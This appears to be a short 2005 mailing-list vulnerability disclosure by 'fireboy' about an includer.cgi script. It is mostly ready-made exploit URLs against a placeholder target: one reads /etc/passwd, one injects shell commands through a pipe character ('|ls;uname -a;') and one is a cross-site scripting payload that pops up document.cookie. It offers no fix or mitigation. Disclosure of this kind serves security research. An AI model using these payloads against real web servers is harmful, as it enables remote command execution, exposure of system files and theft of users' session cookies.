<<< Date Index >>>     <<< Thread Index >>>

remote command execution in includer.cgi script


Tunis 24/04/2005
BUG found by fireboy
fireboy@xxxxxxxxxxxx



THERE ARE SOME BUGS IN  includer.cgi SCRIPT THAT CAN SHOW SENSILBLES FILES IN A 
SYSTEM 
OR EXECUTE COMMANDS IN THE TARGET HOST WICH CAN COMPROMISE IT.

IT IS ONLY FOR SECURITY AND EDUCATIONAL PURPOSE 


1)file showing
http://www.target.com/cgi-bin/includer.cgi?/etc/passwd

2)remote code execution
http://www.target.com/cgi-bin/includer.cgi?|command

3)CSS
www.target.com/cgi-bin/includer.cgi?&lt;script&gt;alert(document.cookie)&lt;/script&gt;

ex:
http://www.target.com/cgi-bin/includer.cgi?|ls;uname -a;



greetz to all magattack memebers www.magattack.tk